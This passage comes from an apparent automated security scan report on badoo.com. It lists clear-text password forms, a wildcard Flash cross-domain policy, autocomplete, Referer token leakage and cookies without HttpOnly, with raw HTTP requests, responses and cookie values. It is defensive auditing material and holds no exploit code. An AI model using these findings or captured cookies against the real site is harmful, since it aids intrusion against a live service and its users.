The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://badoo.com/import/

The form contains the following password field:

password

Request

GET /import/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:53:46 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:53:45 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 20378

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <script>_id
...[SNIP]...
</h2> <form action="http://badoo.com/import/" method="POST" class="sf-form form_fields no_autoloader" autocomplete="off"> <div class="fading_form">
...[SNIP]...
</label> <input id="webmail_password" name="password" type="password" value="" /> </div>
...[SNIP]...

4.3. http://badoo.com/import/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/import/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://badoo.com/import/

The form contains the following password field:

password

Request

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:53:46 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:53:45 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 20378

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <script>_id
...[SNIP]...
</h2> <form action="http://badoo.com/import/" method="POST" class="sf-form form_fields no_autoloader" autocomplete="off"> <div class="fading_form">
...[SNIP]...
</label> <input id="social_password" name="password" type="password" value="" /> </div>
...[SNIP]...

4.4. http://badoo.com/signin/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/signin/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://badoo.com/signin/

The form contains the following password field:

password

Request

GET /signin/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

4.5. http://badoo.com/signup/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/signup/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://badoo.com/reg_onestep.phtml

The form contains the following password field:

password

Request

POST /signup/?sold2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4 HTTP/1.1
Host: badoo.com
Proxy-Connection: keep-alive
Referer: http://badoo.com/
Cache-Control: max-age=0
Origin: http://badoo.com
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.4.10.1289338958
Content-Length: 108

sold2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4&post=1&sec_id=&email=&password=&year=0&month=0&day=0&create_profile=

Response

5. Flash cross-domain policy previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://badoo.com
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, and allows access from specific other domains.

Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Issue background

The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.

Request

GET /crossdomain.xml HTTP/1.0
Host: badoo.com

Response

HTTP/1.1 200 OK
Server: nginx/0.7.64
Date: Tue, 09 Nov 2010 15:49:36 GMT
Content-Type: text/xml
Content-Length: 8038
Last-Modified: Wed, 26 May 2010 08:11:55 GMT
Connection: close
Accept-Ranges: bytes

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*.badoo.ae" />
<allow-access-from domain="*.badoo.af" />
<allow-access-from domain="*.badoo.al" />
<allow-access-from domain="*.badoo.am" />
<allow-access-from domain="*.badoo.at" />
<allow-access-from domain="*.badoo.az" />
<allow-access-from domain="*.badoo.ba" />
<allow-access-from domain="*.badoo.bd" />
<allow-access-from domain="*.badoo.be" />
<allow-access-from domain="*.badoo.bg" />
<allow-access-from domain="*.badoo.bi" />
<allow-access-from domain="*.badoo.by" />
<allow-access-from domain="*.badoo.bz" />
<allow-access-from domain="*.badoo.ca" />
<allow-access-from domain="*.badoo.cd" />
<allow-access-from domain="*.badoo.cg" />
<allow-access-from domain="*.badoo.ch" />
<allow-access-from domain="*.badoo.chatear.com" />
<allow-access-from domain="*.badoo.ci" />
<allow-access-from domain="*.badoo.cl" />
<allow-access-from domain="*.badoo.clubnx.com" />
<allow-access-from domain="*.badoo.co.bw" />
<allow-access-from domain="*.badoo.co.cr" />
<allow-access-from domain="*.badoo.co.id" />
<allow-access-from domain="*.badoo.co.il" />
<allow-access-from domain="*.badoo.co.ke" />
<allow-access-from domain="*.badoo.co.kr" />
<allow-access-from domain="*.badoo.co.ls" />
<allow-access-from domain="*.badoo.co.nz" />
<allow-access-from domain="*.badoo.co.th" />
<allow-access-from domain="*.badoo.co.ug" />
<allow-access-from domain="*.badoo.co.uk" />
<allow-access-from domain="*.badoo.co.ve" />
<allow-access-from domain="*.badoo.co.zw" />
<allow-access-from domain="*.badoo.com" />
<allow-access-from domain="*.badoo.com.af" />
<allow-access-from domain="*.badoo.com.ar" />
<allow-access-from domain="*.badoo.com.au" />
<allow-access-from domain="*.badoo.com.bd" />
<allow-access-from domain="*.badoo.com.bh" />
<allow-access-from domain="*.badoo.com.bn" />
<allow-access-from domain="*.badoo.com.bo" />
<allow-access-from domain="*.badoo.com.br" />
<allow-access-from domain="*.badoo.com.bs" />
<allow-access-from domain="*.badoo.com.bz" />
<allow-access-from domain="*.badoo.com.co" />
<allow-access-from domain="*.badoo.com.cu" />
<allow-access-from domain="*.badoo.com.cy" />
<allow-access-from domain="*.badoo.com.do" />
<allow-access-from domain="*.badoo.com.et" />
<allow-access-from domain="*.badoo.com.fj" />
<allow-access-from domain="*.badoo.com.gi" />
<allow-access-from domain="*.badoo.com.gp" />
<allow-access-from domain="*.badoo.com.gr" />
<allow-access-from domain="*.badoo.com.gt" />
<allow-access-from domain="*.badoo.com.hr" />
<allow-access-from domain="*.badoo.com.jm" />
<allow-access-from domain="*.badoo.com.jo" />
<allow-access-from domain="*.badoo.com.kh" />
<allow-access-from domain="*.badoo.com.ly" />
<allow-access-from domain="*.badoo.com.mt" />
<allow-access-from domain="*.badoo.com.mx" />
<allow-access-from domain="*.badoo.com.my" />
<allow-access-from domain="*.badoo.com.na" />
<allow-access-from domain="*.badoo.com.ng" />
<allow-access-from domain="*.badoo.com.ni" />
<allow-access-from domain="*.badoo.com.py" />
<allow-access-from domain="*.badoo.com.qa" />
<allow-access-from domain="*.badoo.com.sa" />
<allow-access-from domain="*.badoo.com.tr" />
<allow-access-from domain="*.badoo.com.tw" />
<allow-access-from domain="*.badoo.com.ua" />
<allow-access-from domain="*.badoo.com.uy" />
<allow-access-from domain="*.badoo.com.ve" />
<allow-access-from domain="*.badoo.com.zm" />
<allow-access-from domain="*.badoo.cz" />
<allow-access-from domain="*.badoo.de" />
<allow-access-from domain="*.badoo.dj" />
<allow-access-from domain="*.badoo.dk" />
<allow-access-from domain="*.badoo.dm" />
<allow-access-from domain="*.badoo.dz" />
<allow-access-from domain="*.badoo.ee" />
<allow-access-from domain="*.badoo.eg" />
<allow-access-from domain="*.badoo.es" />
<allow-access-from domain="*.badoo.eu" />
<allow-access-from domain="*.badoo.fi" />
<allow-access-from domain="*.badoo.fr" />
<allow-access-from domain="*.badoo.gb" />
<allow-access-from domain="*.badoo.ge" />
<allow-access-from domain="*.badoo.gentemesenger.com" />
<allow-access-from domain="*.badoo.gentemessenger.com" />
<allow-access-from domain="*.badoo.gl" />
<allow-access-from domain="*.badoo.gm" />
<allow-access-from domain="*.badoo.gr" />
<allow-access-from domain="*.badoo.gy" />
<allow-access-from domain="*.badoo.hk" />
<allow-access-from domain="*.badoo.hn" />
<allow-access-from domain="*.badoo.ht" />
<allow-access-from domain="*.badoo.hu" />
<allow-access-from domain="*.badoo.ie" />
<allow-access-from domain="*.badoo.in" />
<allow-access-from domain="*.badoo.info" />
<allow-access-from domain="*.badoo.iq" />
<allow-access-from domain="*.badoo.is" />
<allow-access-from domain="*.badoo.it" />
<allow-access-from domain="*.badoo.je" />
<allow-access-from domain="*.badoo.jp" />
<allow-access-from domain="*.badoo.kg" />
<allow-access-from domain="*.badoo.kp" />
<allow-access-from domain="*.badoo.kw" />
<allow-access-from domain="*.badoo.kz" />
<allow-access-from domain="*.badoo.la" />
<allow-access-from domain="*.badoo.lb" />
<allow-access-from domain="*.badoo.li" />
<allow-access-from domain="*.badoo.lk" />
<allow-access-from domain="*.badoo.lt" />
<allow-access-from domain="*.badoo.lu" />
<allow-access-from domain="*.badoo.lv" />
<allow-access-from domain="*.badoo.ma" />
<allow-access-from domain="*.badoo.mc" />
<allow-access-from domain="*.badoo.md" />
<allow-access-from domain="*.badoo.mg" />
<allow-access-from domain="*.badoo.miarroba.com" />
<allow-access-from domain="*.badoo.mk" />
<allow-access-from domain="*.badoo.mn" />
<allow-access-from domain="*.badoo.mu" />
<allow-access-from domain="*.badoo.mv" />
<allow-access-from domain="*.badoo.mw" />
<allow-access-from domain="*.badoo.net" />
<allow-access-from domain="*.badoo.nl" />
<allow-access-from domain="*.badoo.no" />
<allow-access-from domain="*.badoo.np" />
<allow-access-from domain="*.badoo.om" />
<allow-access-from domain="*.badoo.org" />
<allow-access-from domain="*.badoo.pa" />
<allow-access-from domain="*.badoo.pg" />
<allow-access-from domain="*.badoo.ph" />
<allow-access-from domain="*.badoo.pk" />
<allow-access-from domain="*.badoo.pl" />
<allow-access-from domain="*.badoo.pr" />
<allow-access-from domain="*.badoo.pt" />
<allow-access-from domain="*.badoo.ro" />
<allow-access-from domain="*.badoo.rs" />
<allow-access-from domain="*.badoo.ru" />
<allow-access-from domain="*.badoo.rw" />
<allow-access-from domain="*.badoo.sc" />
<allow-access-from domain="*.badoo.se" />
<allow-access-from domain="*.badoo.sg" />
<allow-access-from domain="*.badoo.si" />
<allow-access-from domain="*.badoo.sk" />
<allow-access-from domain="*.badoo.sl" />
<allow-access-from domain="*.badoo.sm" />
<allow-access-from domain="*.badoo.sn" />
<allow-access-from domain="*.badoo.sv" />
<allow-access-from domain="*.badoo.tablondeanuncios.com" />
<allow-access-from domain="*.badoo.tj" />
<allow-access-from domain="*.badoo.tm" />
<allow-access-from domain="*.badoo.tn" />
<allow-access-from domain="*.badoo.to" />
<allow-access-from domain="*.badoo.todoamigos.com" />
<allow-access-from domain="*.badoo.tp" />
<allow-access-from domain="*.badoo.tt" />
<allow-access-from domain="*.badoo.tw" />
<allow-access-from domain="*.badoo.us" />
<allow-access-from domain="*.badoo.uz" />
<allow-access-from domain="*.badoo.vc" />
<allow-access-from domain="*.badoo.vn" />
<allow-access-from domain="*.badoo.ye" />
<allow-access-from domain="*.badoo.yu" />
<allow-access-from domain="*.badoo.za" />
<allow-access-from domain="*.badoopartner.com" />
<allow-access-from domain="*.club.onirc.com" />
<allow-access-from domain="*.club.onirc.net" />
<allow-access-from domain="*.flirt.icq.com" />
<allow-access-from domain="*.friends.happybirthdaytoyou.com" />
<allow-access-from domain="*.haramba.com" />
<allow-access-from domain="*.lemontonic.com" />
<allow-access-from domain="*.skytizpartner.com" />
<allow-access-from domain="*.sohbet.ekolay.net" />
<allow-access-from domain="*.tetatet.cz" />
<allow-access-from domain="*.yamky.com" />
...[SNIP]...

6. Password field with autocomplete enabled previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://badoo.com
Path:	/signin/

Issue detail

The page contains a form with the following action URL:

http://badoo.com/signin/

The form contains the following password field with autocomplete enabled:

password

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

Request

Response

7. Cross-domain Referer leakage previous next
There are 4 instances of this issue:

/041636801/
/doritos699/
/doritos699/
/signup/

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

7.1. http://badoo.com/041636801/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/041636801/

Issue detail

The page was loaded from a URL containing a query string:

http://badoo.com/041636801/?sold2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4

The response contains the following links to other domains:

http://66.175.123.114/543/0/0/6/1100958332/541807/t1272381112/628135_small.jpg
http://66.175.123.172/618/7/9/0/1130403480/297864/t1289184637/297875_small.jpg
http://66.175.123.173/579/9/3/6/1130404783/299932/t1289184640/300009_small.jpg
http://66.175.123.176/516/2/2/6/1106431655/316921/t1289184639/407521_small.jpg
http://66.175.123.181/513/2/5/5/1090897162/316430/t1272381596/455403_small.jpg

Request

GET /041636801/?sold2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4 HTTP/1.1
Host: badoo.com
Proxy-Connection: keep-alive
Referer: http://badoo.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.2.10.1289338958

Response

7.2. http://badoo.com/doritos699/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/doritos699/

Issue detail

The page was loaded from a URL containing a query string:

http://badoo.com/doritos699/?sold2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4

The response contains the following links to other domains:

http://66.175.123.170/589/2/0/2/1124813706/563117/t1285514765/563148_small.jpg
http://66.175.123.175/536/8/0/2/1113345801/425675/t1272050565/428781_small.jpg
http://66.175.123.179/549/8/9/0/1113669792/399417/t1277782275/399430_small.jpg
http://66.175.123.180/514/6/5/1/1113636809/462314/t1283123416/462358_small.jpg
http://66.175.123.180/605/3/6/5/1124750926/737731/t1285514636/742108_small.jpg

Request

GET /doritos699/?sold2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4 HTTP/1.1
Host: badoo.com
Proxy-Connection: keep-alive
Referer: http://badoo.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.2.10.1289338958

Response

7.3. http://badoo.com/doritos699/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/doritos699/

Issue detail

The page was loaded from a URL containing a query string:

http://badoo.com/doritos699/?sold2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4

The response contains the following links to other domains:

http://66.175.123.102/608/4/2/6/1129835963/284488/t1288850482/284956_small.jpg
http://66.175.123.104/615/6/3/5/1126841352/229747/t1286853046/229759_small.jpg
http://66.175.123.112/591/9/4/7/1126521786/230673/t1286853043/233063_small.jpg
http://66.175.123.128/569/7/5/7/1126714393/231398/t1286853048/233159_small.jpg
http://66.175.123.171/615/8/9/3/1129852751/282593/t1288850477/282600_small.jpg

Request

Response

7.4. http://badoo.com/signup/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/signup/

Issue detail

The page was loaded from a URL containing a query string:

http://badoo.com/signup/?sold2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4

The response contains the following link to another domain:

https://www.facebook.com/login.php?api_key=107433747809&cancel_url=http%3A%2F%2Fbadoo.com%2Ffacebook%2Fcancel.phtml&display=popup&fbconnect=1&next=http%3A%2F%2Fbadoo.com%2Ffacebook%2Fauth.phtml&return_session=1&session_version=3&v=1.0&req_perms=email%2Cuser_birthday%2Cuser_location%2Cuser_photos

Request

Response

8. Cookie without HttpOnly flag set previous next
There are 39 instances of this issue:

/
/01029820524/
/01038220576/
/01046694418/
/01053885754/
/01055383438/
/019278355/
/02311783/
/041636801/
/09303027/
/093407644/
/096807871/
/2rcabrera/
/aammetys/
/about/
/andresitopapito/
/association/
/dating/
/dinoitalia/
/directory/people/
/doritos699/
/facebook/auth.phtml
/geer/
/guidelines/
/help/
/import/
/karliitaalaniis/
/languages/
/lucasdimedio/
/nelsua/
/privacy/
/pronico/
/signin/
/signup/
/tarabell/
/terms/
/veletanga77/
/vianey06/
/webone/

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

8.1. http://badoo.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

8.2. http://badoo.com/01029820524/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/01029820524/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
t=deleted; expires=Mon, 09-Nov-2009 15:49:50 GMT; path=/; domain=.badoo.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /01029820524/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

8.3. http://badoo.com/01038220576/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/01038220576/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
t=deleted; expires=Mon, 09-Nov-2009 15:50:31 GMT; path=/; domain=.badoo.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /01038220576/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:50:32 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:50:31 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 17184

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html id=""> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title
...[SNIP]...

8.4. http://badoo.com/01046694418/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/01046694418/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
t=deleted; expires=Mon, 09-Nov-2009 15:51:36 GMT; path=/; domain=.badoo.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /01046694418/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:51:37 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:51:36 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 14089

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html id=""> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title
...[SNIP]...

8.5. http://badoo.com/01053885754/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/01053885754/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
t=deleted; expires=Mon, 09-Nov-2009 15:53:39 GMT; path=/; domain=.badoo.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /01053885754/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

8.6. http://badoo.com/01055383438/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/01055383438/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
t=deleted; expires=Mon, 09-Nov-2009 15:50:43 GMT; path=/; domain=.badoo.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /01055383438/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

8.7. http://badoo.com/019278355/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://badoo.com
Path:	/019278355/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
t=deleted; expires=Mon, 09-Nov-2009 15:53:19 GMT; path=/; domain=.badoo.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /019278355/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
